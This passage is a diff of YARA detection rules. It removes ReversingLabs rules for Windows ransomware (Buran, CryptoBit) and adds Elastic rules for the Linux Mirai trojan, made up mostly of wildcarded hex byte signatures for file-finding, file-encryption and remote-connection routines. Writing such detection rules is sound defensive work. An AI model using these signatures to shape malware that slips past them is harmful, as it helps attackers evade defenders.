-            C0 0F 85 ?? ?? ?? ?? 8D 5D ?? 8D 76 ?? 8D BC 27 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04
-            24 E8 ?? ?? ?? ?? 85 C0 89 C6 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D BD ?? ?? ?? ??
-            39 F9 89 C8 76 ?? 0F B6 41 ?? 89 CF 3C ?? 0F 95 C1 3C ?? 0F 95 C2 84 D1 0F 84 ?? ??
-            ?? ?? 3C ?? 0F 84 ?? ?? ?? ?? 8D 47 ?? C6 07 ?? 8D 7E ?? 39 D8 89 BD ?? ?? ?? ?? 73
-            ?? 0F B6 56 ?? 84 D2 74 ?? 89 F9 8B BD ?? ?? ?? ?? EB ?? 90 0F B6 11 84 D2 74 ?? 83
-            C0 ?? 83 C1 ?? 88 50 ?? 39 D8 75 ?? 89 BD ?? ?? ?? ?? C6 00 ?? 8D 85 ?? ?? ?? ?? 31
-            FF 89 04 24 E8 ?? ?? ?? ?? 85 C0 89 C2 74 ?? 80 38 ?? 74 ?? 8B 85 ?? ?? ?? ?? 66 90
-            83 C7 ?? 80 3C 3A ?? 75 ?? 89 85 ?? ?? ?? ?? 89 54 24 ?? C7 04 24 ?? ?? ?? ?? 89 95
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 46 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 3D ?? ?? ?? ?? 8B 95
-            ?? ?? ?? ?? 74 ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 7C 24 ?? 89 14 24 89
-        }
-		$encrypt_files_p2 = {
-            44 24 ?? 8B 85 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? C7 04
-            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C6 8D 85 ?? ?? ?? ?? 89 F1 89 04 24 E8 ?? ?? ?? ??
-            83 EC ?? 89 F1 E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 89 F1 E8 ?? ?? ?? ?? 89 C7 8D
-            40 ?? 83 F8 ?? 76 ?? 89 F1 83 05 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 F1 E8 ?? ?? ?? ??
-            89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 3C 24 89 44 24 ?? E8 ?? ?? ?? ?? 89 F1 E8 ??
-            ?? ?? ?? 89 F1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? E8
-            ?? ?? ?? ?? 89 F1 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 89
-            F1 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B
-            B5 ?? ?? ?? ?? BF ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 A6 0F 84 ?? ?? ?? ?? 8B B5 ?? ?? ??
-            ?? BF ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 A6 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 8D ?? ?? ?? ??
-            8B 95 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9
-            ?? ?? ?? ?? 8D 74 26 ?? 8B 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24
-            E8 ?? ?? ?? ?? 8D 65 ?? B8 ?? ?? ?? ?? 5B 5E 5F 5D C3 8B 45 ?? 89 1C 24 89 44 24 ??
-            8B 45 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 89 C6 E9 ?? ?? ?? ?? 8D 65 ?? 31 C0 5B 5E 5F 5D
-            C3 8D 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E9
-        }
-		$find_files_p1 = {
-            8D 4C 24 ?? 83 E4 ?? FF 71 ?? 55 89 E5 57 56 53 51 81 EC ?? ?? ?? ?? 8B 31 8B 79 ??
-            E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 FE ?? 7E ?? 89 74 24 ?? C7 04
-            24 ?? ?? ?? ?? 31 DB E8 ?? ?? ?? ?? 8B 04 9F 89 5C 24 ?? 83 C3 ?? C7 04 24 ?? ?? ??
-            ?? 89 44 24 ?? E8 ?? ?? ?? ?? 39 DE 75 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 47 ?? 89 04 24
-            E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 89
-            44 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D BD ??
-            ?? ?? ?? F3 A5 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ??
-            ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 04 24 C7 85
-        }
-		$find_files_p2 = {
-            8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 C3 E8 ?? ?? ?? ??
-            8D 44 03 ?? 89 04 24 E8 ?? ?? ?? ?? 89 C3 8B 85 ?? ?? ?? ?? 89 1C 24 89 44 24 ?? E8
-            ?? ?? ?? ?? 89 DA 8B 0A 83 C2 ?? 8D 81 ?? ?? ?? ?? F7 D1 21 C8 25 ?? ?? ?? ?? 74 ??
-            A9 ?? ?? ?? ?? 74 ?? 89 C1 00 C1 83 DA ?? C7 02 ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? C7
-            42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 84 C0 74 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 65 ?? 31 C0 59 5B 5E
-            5F 5D 8D 61 ?? C3 C1 E8 ?? 83 C2 ?? EB ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ??
-            ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D BD ?? ?? ?? ?? BE ?? ?? ?? ?? 89 04 24 B8 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? C7 44 24 ??
-            ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 29
-            F9 89 85 ?? ?? ?? ?? A1 ?? ?? ?? ?? 29 CE 81 C1 ?? ?? ?? ?? C1 E9 ?? 89 45 ?? F3
-        }
-		$find_files_p3 = {
-            A5 89 1C 24 E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ??
-            ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 89 C6 74 ?? 89 44 24 ?? C7 44 24 ?? ??
-            ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 34 24 E8 ??
-            ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? E8
-            ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 04
-            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7
-            44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 85 C0 89 C6 0F 84 ?? ?? ?? ?? 89 44 24
-            ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ??
-            ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7
-            44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? E9
-        }
+		$a = { 74 DE 8D 40 F1 3C 01 76 D7 80 FA 38 74 D2 80 FA 0A 74 CD 80 }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Buran : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_0Bce98A2 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Buran ransomware."
-		author = "ReversingLabs"
-		id = "c2a36a8b-5c21-5c31-994d-b424c038dd21"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Buran.yara#L1-L91"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "5606e0acecd99ccf2feaa995353211302903a09bb2c4ec65903566215e2d5ca4"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "0bce98a2-113e-41e1-95c9-9e1852b26142"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1008-L1026"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80"
+		logic_hash = "04d10ef03c178fb101d3c6b6d3b36f0aa04149b9b35a33c3d10d17af1fc07625"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Buran"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$find_files = {
-            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 DB 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D
-            ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ??
-            89 5D ?? 89 5D ?? 88 8D ?? ?? ?? ?? 88 95 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? E8 ?? ?? ??
-            ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF
-            30 64 89 20 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 55 ?? 8B 45 ?? E8 ?? ?? ??
-            ?? 8B 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 33
-            C0 5A 59 59 64 89 10 E9 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 85 ?? ?? ??
-            ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 45 ??
-            8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84
-            C0 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0
-            74 ?? 80 BD ?? ?? ?? ?? ?? 74 ?? 33 C9 8B 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 33 C0 5A 59 59
-            64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9
-        }
-		$encrypt_files = {
-            53 56 57 55 BB ?? ?? ?? ?? BF ?? ?? ?? ?? 80 7B ?? ?? 75 ?? 83 3F ?? 74 ?? 8B 07 89
-            C6 33 C0 89 07 FF D6 83 3F ?? 75 ?? 83 3D ?? ?? ?? ?? ?? 74 ?? E8 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 33 C0 A3 ?? ?? ?? ?? 80 7B ?? ?? 75 ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 33 C0 89
-            43 ?? E8 ?? ?? ?? ?? 80 7B ?? ?? 76 ?? 83 3D ?? ?? ?? ?? ?? 74 ?? 8B 7B ?? 85 FF 74
-            ?? 8B C7 E8 ?? ?? ?? ?? 8B 6B ?? 8B 75 ?? 3B 75 ?? 74 ?? 85 F6 74 ?? 56 E8 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 80 7B ?? ?? 75 ?? FF 53 ?? 80 7B ?? ?? 74 ?? E8 ?? ?? ?? ?? 83 3B
-            ?? 75 ?? 83 3D ?? ?? ?? ?? ?? 74 ?? FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 50 E8 ?? ?? ??
-            ?? 8B 03 8B F0 8B FB B9 ?? ?? ?? ?? F3 A5 E9 ?? ?? ?? ?? 5D 5F 5E 5B C3 A3
-        }
-		$remote_connection_p1 = {
-            55 8B EC 81 C4 ?? ?? ?? ?? 50 83 C4 ?? 53 56 33 DB 89 9D ?? ?? ?? ?? 89 9D ?? ?? ??
-            ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 5D ?? 8B D9 89 55 ?? 89
-            45 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF
-            30 64 89 20 8B C3 E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 89 45
-            ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 BE ?? ??
-            ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ??
-            ?? 0F 84 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 55 ?? B8 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 6A ?? 56 6A ?? 6A ?? 6A ?? 8B 45 ?? E8
-        }
-		$remote_connection_p2 = {
-            50 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84
-            ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 C9 B2 ?? A1 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 89 45 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 95 ?? ?? ?? ?? B8
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ??
-            ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
-            85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ??
-            ?? 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 75 ?? 68 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ??
-            E8 ?? ?? ?? ?? 8B 45 ?? 8B 70 ?? 85 F6 74 ?? 83 EE ?? 8B 36 68 ?? ?? ?? ?? 56 8B 45
-            ?? 8B 40 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B
-            45 ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            89 45 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 EB ?? 83 7D ?? ?? 74 ?? 8D 95 ??
-            ?? ?? ?? 8B 4D ?? 8B 45 ?? 8B 30 FF 56 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ??
-            ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 75 ?? C6 85 ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ??
-            B9 ?? ?? ?? ?? 8B 45 ?? 8B 30 FF 56 ?? 8B C3 8B 55 ?? 8B 52 ?? E8 ?? ?? ?? ?? 33 C0
-            5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? C3 E9
-        }
+		$a = { 4B 52 41 00 46 47 44 43 57 4E 56 00 48 57 43 4C 56 47 41 4A }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files) and ( all of ($remote_connection_p*))
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Cryptobit : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_3A56423B : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects CryptoBit ransomware."
-		author = "ReversingLabs"
-		id = "8566e516-9884-5b20-90c4-7ed38fa96999"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.CryptoBit.yara#L1-L113"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "ccc8a0f1c5e11211649992d0f2b309968c97b49f1c7359e62d622f364e117429"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "3a56423b-c0cf-4483-87e3-552beb40563a"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1028-L1045"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "0c2765a5c1b331eb9ff5e542bc72eff7be3506e6caef94128413d500086715c6"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "CryptoBit"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "117d6eb47f000c9d475119ca0e6a1b49a91bbbece858758aaa3d7f30d0777d75"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$encrypt_files_p1 = {
-            55 8B EC 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83
-            7D ?? ?? 75 ?? FF 75 ?? EB ?? 6A ?? 59 83 C9 ?? 83 F1 ?? 89 4D ?? 6A ?? 6A ?? 6A ??
-            6A ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 0B C0 0F 84 ?? ?? ?? ?? 89 45 ?? 60 BE ?? ?? ??
-            ?? 56 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 33 D2
-            8B 0D ?? ?? ?? ?? F7 F1 0B C0 74 ?? FF 35 ?? ?? ?? ?? EB ?? 52 8B 0C 24 29 4D ?? 51
-            FF 75 ?? 6A ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 59 0B C0 74 ?? 89 45 ?? 51 FF
-            75 ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 75 ?? 83 7D ?? ?? 75 ?? 89 45 ?? 89 4D ?? FF 75 ??
-            E8 ?? ?? ?? ?? EB ?? EB ?? 83 7D ?? ?? 75 ?? C7 45 ?? ?? ?? ?? ?? EB ?? A1 ?? ?? ??
-            ?? 01 45 ?? EB ?? EB ?? 8B 64 24 ?? 64 8F 05 ?? ?? ?? ?? 83 C4 ?? 61 EB ?? EB ?? 64
-            8F 05 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 8B 4D
-            ?? EB ?? 8B 45 ?? C9 C2
-        }
-		$encrypt_files_p2 = {
-            55 8B EC 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A
-            ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 84 ??
-            ?? ?? ?? 89 45 ?? 8D 45 ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? E8 ?? ?? ?? ??
-            0B C0 74 ?? E9 ?? ?? ?? ?? 89 45 ?? 8B 15 ?? ?? ?? ?? 8B 4D ?? 0B C9 75 ?? 83 F8 ??
-            73 ?? E9 ?? ?? ?? ?? EB ?? 0B C9 75 ?? 3B C2 73 ?? 50 EB ?? 52 8F 45 ?? 83 7D ?? ??
-            75 ?? A1 ?? ?? ?? ?? 39 45 ?? 72 ?? FF 75 ?? FF 75 ?? FF 75 ?? FF 75 ?? E8 ?? ?? ??
-            ?? 89 45 ?? 0B C0 74 ?? 6A ?? 50 51 FF 75 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 6A
-            ?? 6A ?? 6A ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 0B C0 74 ?? 89 45 ?? 60 BE ?? ?? ?? ??
-            56 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? FF 75 ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF
-            75 ?? E8 ?? ?? ?? ?? 0B C0 74 ?? 50 8B 4D ?? 8B 04 24 83 C9 ?? 83 F1 ?? 51 50 E8 ??
-            ?? ?? ?? 89 45 ?? 0B C0 74 ?? 6A ?? 50 51 FF 75 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB
-            ?? 8B 64 24 ?? 64 8F 05 ?? ?? ?? ?? 83 C4 ?? 61 EB ?? EB ?? 64 8F 05 ?? ?? ?? ?? 83
-            C4 ?? 83 7D ?? ?? 74 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ?? E8 ?? ??
-            ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 8B 4D ?? EB ?? 33 C0 33 C9 C9 C2
-        }
-		$find_files_p1 = {
-            55 8B EC 83 C4 ?? 57 56 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? 8B 75 ?? 83 7E ?? ?? 75 ?? E8 ?? ?? ?? ?? 50 8D 46 ?? 50 E8
-            ?? ?? ?? ?? 23 C0 0F 84 ?? ?? ?? ?? EB ?? 83 7E ?? ?? 75 ?? FF 35 ?? ?? ?? ?? 8D 46
-            ?? 50 E8 ?? ?? ?? ?? 23 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 23 C0 0F
-            84 ?? ?? ?? ?? 89 45 ?? B9 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 23 C0 0F 84 ??
-            ?? ?? ?? 89 45 ?? 8B 75 ?? 8B 7D ?? 68 ?? ?? ?? ?? 57 56 E8 ?? ?? ?? ?? 8D 57 ?? 8B
-            47 ?? D1 E0 C7 04 10 ?? ?? ?? ?? C6 44 10 ?? ?? FF 75 ?? 8D 47 ?? 50 E8 ?? ?? ?? ??
-            83 F8 ?? 0F 84 ?? ?? ?? ?? 89 45 ?? 8B 55 ?? 8B 75 ?? 8B 7D ?? 8B 02 25 ?? ?? ?? ??
-            0F 85 ?? ?? ?? ?? 8B 02 83 E0 ?? 0F 85 ?? ?? ?? ?? 8B 02 83 E0 ?? F7 02 ?? ?? ?? ??
-            0F 85 ?? ?? ?? ?? 8D 47 ?? 50 8D 46 ?? 50 E8 ?? ?? ?? ?? 8B 55 ?? 8D 42 ?? 50 8D 47
-            ?? 50 E8 ?? ?? ?? ?? 8D 47 ?? 50 E8 ?? ?? ?? ?? 8B 55 ?? 89 47 ?? F7 02 ?? ?? ?? ??
-            74 ?? 68 ?? ?? ?? ?? 8D 47 ?? 50 E8 ?? ?? ?? ?? FF 77 ?? 8D 47 ?? 50 E8 ?? ?? ?? ??
-            83 F8 ?? 74 ?? 83 F8 ?? 75 ?? 48 50 FF 76 ?? 8D 47 ?? 50 E8 ?? ?? ?? ?? 0B C0 75
-        }
-		$find_files_p2 = {
-            0B C9 74 ?? FF 45 ?? E9 ?? ?? ?? ?? 83 7A ?? ?? 0F 84 ?? ?? ?? ?? 81 7A ?? ?? ?? ??
-            ?? 0F 84 ?? ?? ?? ?? F7 02 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? F7 02 ?? ?? ?? ?? 0F 85 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0B C0 74 ?? 8B F8 FF 76 ?? 8F 47 ?? FF 76 ??
-            8F 47 ?? FF 36 8F 07 8D 47 ?? 50 8D 46 ?? 50 E8 ?? ?? ?? ?? 8B 55 ?? 8D 42 ?? 50 8D
-            47 ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 47 ?? 50 E8 ?? ?? ?? ?? 8D 47 ?? 50 E8 ??
-            ?? ?? ?? 89 47 ?? 83 3F ?? 75 ?? 57 68 ?? ?? ?? ?? FF 76 ?? E8 ?? ?? ?? ?? 0B C0 75
-            ?? 57 E8 ?? ?? ?? ?? EB ?? 57 E8 ?? ?? ?? ?? EB ?? E9 ?? ?? ?? ?? FF 75 ?? FF 75 ??
-            E8 ?? ?? ?? ?? 0B C0 0F 85 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
-            8B 75 ?? 83 7D ?? ?? 74 ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B
-            14 24 51 50 52 8D 46 ?? 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 D1 E1 8B 5C 24 ?? 51 50 53 8D 46
-            ?? 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ?? E8 ??
